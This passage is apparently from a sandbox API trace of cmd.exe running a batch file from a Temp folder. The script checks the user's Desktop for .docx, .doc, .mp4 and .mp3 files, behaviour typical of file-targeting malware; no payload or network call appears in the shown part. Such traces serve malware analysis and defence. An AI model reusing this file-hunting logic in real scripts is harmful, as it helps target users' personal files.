lpFilePart=0x41eea8*="*.docx") returned 0x2c [0037.525] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.525] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docx", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.525] GetLastError () returned 0x2 [0037.525] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.525] GetLastError () returned 0x6 [0037.525] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.525] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.526] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.526] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.526] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.526] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.526] SetConsoleInputExeNameW () returned 0x1 [0037.526] GetConsoleOutputCP () returned 0x1b5 [0037.526] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.526] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.527] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.527] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.527] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.527] SetFilePointer (in: hFile=0x74, lDistanceToMove=241, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf1 [0037.527] GetProcessHeap () returned 0x4e0000 [0037.527] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.527] GetProcessHeap () returned 0x4e0000 [0037.527] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.527] GetProcessHeap () returned 0x4e0000 [0037.527] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.527] GetProcessHeap () returned 0x4e0000 [0037.527] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.527] GetProcessHeap () returned 0x4e0000 [0037.527] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.527] GetProcessHeap () returned 0x4e0000 [0037.527] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.527] GetProcessHeap () returned 0x4e0000 [0037.527] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.527] GetProcessHeap () returned 0x4e0000 [0037.527] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.527] GetProcessHeap () returned 0x4e0000 [0037.527] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.528] GetProcessHeap () returned 0x4e0000 [0037.528] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.528] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.528] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf1 [0037.528] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.528] SetFilePointer (in: hFile=0x74, lDistanceToMove=243, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf3 [0037.528] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.docx goto docx\r\n") returned 2 [0037.528] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.528] GetFileType (hFile=0x74) returned 0x1 [0037.528] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.528] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf3 [0037.528] GetProcessHeap () returned 0x4e0000 [0037.528] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.528] GetProcessHeap () returned 0x4e0000 [0037.528] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.528] _tell (_FileHandle=3) returned 243 [0037.528] _close (_FileHandle=3) returned 0 [0037.529] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.529] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.529] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.529] SetFilePointer (in: hFile=0x74, lDistanceToMove=243, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf3 [0037.529] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.529] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf3 [0037.529] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.529] SetFilePointer (in: hFile=0x74, lDistanceToMove=268, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10c [0037.529] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.doc goto doc\r\n\r\n") returned 25 [0037.529] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.529] GetFileType (hFile=0x74) returned 0x1 [0037.529] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.529] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10c [0037.530] GetProcessHeap () returned 0x4e0000 [0037.530] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.530] GetProcessHeap () returned 0x4e0000 [0037.530] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.530] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.530] GetProcessHeap () returned 0x4e0000 [0037.530] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.530] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.530] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.530] GetProcessHeap () returned 0x4e0000 [0037.530] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.530] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.530] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.530] GetProcessHeap () returned 0x4e0000 [0037.530] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.530] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.530] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.530] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.530] GetProcessHeap () returned 0x4e0000 [0037.530] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.530] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.530] GetProcessHeap () returned 0x4e0000 [0037.530] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.531] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.531] GetProcessHeap () returned 0x4e0000 [0037.531] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.531] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.531] _tell (_FileHandle=3) returned 268 [0037.532] _close (_FileHandle=3) returned 0 [0037.532] GetFullPathNameW (in: lpFileName="*.doc", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.doc", lpFilePart=0x41eea8*="*.doc") returned 0x2b [0037.532] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.532] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.doc", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.532] GetLastError () returned 0x2 [0037.532] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.532] GetLastError () returned 0x6 [0037.532] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.532] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.532] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.532] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.533] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.533] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.533] SetConsoleInputExeNameW () returned 0x1 [0037.533] GetConsoleOutputCP () returned 0x1b5 [0037.533] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.533] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.533] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.534] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.534] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.534] SetFilePointer (in: hFile=0x74, lDistanceToMove=268, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10c [0037.534] GetProcessHeap () returned 0x4e0000 [0037.534] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.534] GetProcessHeap () returned 0x4e0000 [0037.534] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.534] GetProcessHeap () returned 0x4e0000 [0037.534] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.534] GetProcessHeap () returned 0x4e0000 [0037.534] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.534] GetProcessHeap () returned 0x4e0000 [0037.534] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.534] GetProcessHeap () returned 0x4e0000 [0037.534] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.534] GetProcessHeap () returned 0x4e0000 [0037.534] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.534] GetProcessHeap () returned 0x4e0000 [0037.534] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.534] GetProcessHeap () returned 0x4e0000 [0037.534] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.534] GetProcessHeap () returned 0x4e0000 [0037.534] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.535] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.535] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10c [0037.535] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.535] SetFilePointer (in: hFile=0x74, lDistanceToMove=270, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10e [0037.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.doc goto doc\r\n\r\n") returned 2 [0037.535] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.535] GetFileType (hFile=0x74) returned 0x1 [0037.535] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.535] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10e [0037.535] GetProcessHeap () returned 0x4e0000 [0037.535] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.535] GetProcessHeap () returned 0x4e0000 [0037.535] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.535] _tell (_FileHandle=3) returned 270 [0037.535] _close (_FileHandle=3) returned 0 [0037.535] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.536] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.536] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.536] SetFilePointer (in: hFile=0x74, lDistanceToMove=270, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10e [0037.536] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.536] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10e [0037.536] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.536] SetFilePointer (in: hFile=0x74, lDistanceToMove=295, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x127 [0037.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.mp4 goto mp4\r\n\r\n") returned 25 [0037.536] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.536] GetFileType (hFile=0x74) returned 0x1 [0037.536] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.536] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127 [0037.536] GetProcessHeap () returned 0x4e0000 [0037.536] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.536] GetProcessHeap () returned 0x4e0000 [0037.536] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.536] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.536] GetProcessHeap () returned 0x4e0000 [0037.537] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.537] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.537] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.537] GetProcessHeap () returned 0x4e0000 [0037.537] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.537] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.537] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.537] GetProcessHeap () returned 0x4e0000 [0037.537] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.537] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.537] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.537] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.537] GetProcessHeap () returned 0x4e0000 [0037.537] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.537] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.537] GetProcessHeap () returned 0x4e0000 [0037.537] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.537] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.537] GetProcessHeap () returned 0x4e0000 [0037.537] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.537] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.538] _tell (_FileHandle=3) returned 295 [0037.538] _close (_FileHandle=3) returned 0 [0037.539] GetFullPathNameW (in: lpFileName="*.mp4", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", lpFilePart=0x41eea8*="*.mp4") returned 0x2b [0037.539] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.539] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.539] GetLastError () returned 0x2 [0037.539] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.539] GetLastError () returned 0x6 [0037.539] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.539] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.540] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.540] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.540] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.540] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.540] SetConsoleInputExeNameW () returned 0x1 [0037.540] GetConsoleOutputCP () returned 0x1b5 [0037.541] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.541] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.541] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.541] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.541] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.541] SetFilePointer (in: hFile=0x74, lDistanceToMove=295, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x127 [0037.541] GetProcessHeap () returned 0x4e0000 [0037.541] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.541] GetProcessHeap () returned 0x4e0000 [0037.541] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.541] GetProcessHeap () returned 0x4e0000 [0037.541] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.541] GetProcessHeap () returned 0x4e0000 [0037.541] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.541] GetProcessHeap () returned 0x4e0000 [0037.541] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.541] GetProcessHeap () returned 0x4e0000 [0037.542] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.542] GetProcessHeap () returned 0x4e0000 [0037.542] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.542] GetProcessHeap () returned 0x4e0000 [0037.542] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.542] GetProcessHeap () returned 0x4e0000 [0037.542] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.542] GetProcessHeap () returned 0x4e0000 [0037.542] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.542] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.542] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127 [0037.542] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.542] SetFilePointer (in: hFile=0x74, lDistanceToMove=297, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x129 [0037.542] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.mp4 goto mp4\r\n\r\n") returned 2 [0037.542] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.542] GetFileType (hFile=0x74) returned 0x1 [0037.542] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.542] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x129 [0037.542] GetProcessHeap () returned 0x4e0000 [0037.543] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.543] GetProcessHeap () returned 0x4e0000 [0037.543] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.543] _tell (_FileHandle=3) returned 297 [0037.543] _close (_FileHandle=3) returned 0 [0037.543] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.543] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.543] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.543] SetFilePointer (in: hFile=0x74, lDistanceToMove=297, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x129 [0037.543] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.543] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x129 [0037.543] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.543] SetFilePointer (in: hFile=0x74, lDistanceToMove=322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x142 [0037.544] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.mp3 goto mp3\r\n\r\n") returned 25 [0037.544] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.544] GetFileType (hFile=0x74) returned 0x1 [0037.544] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.544] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x142 [0037.544] GetProcessHeap () returned 0x4e0000 [0037.544] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.544] GetProcessHeap () returned 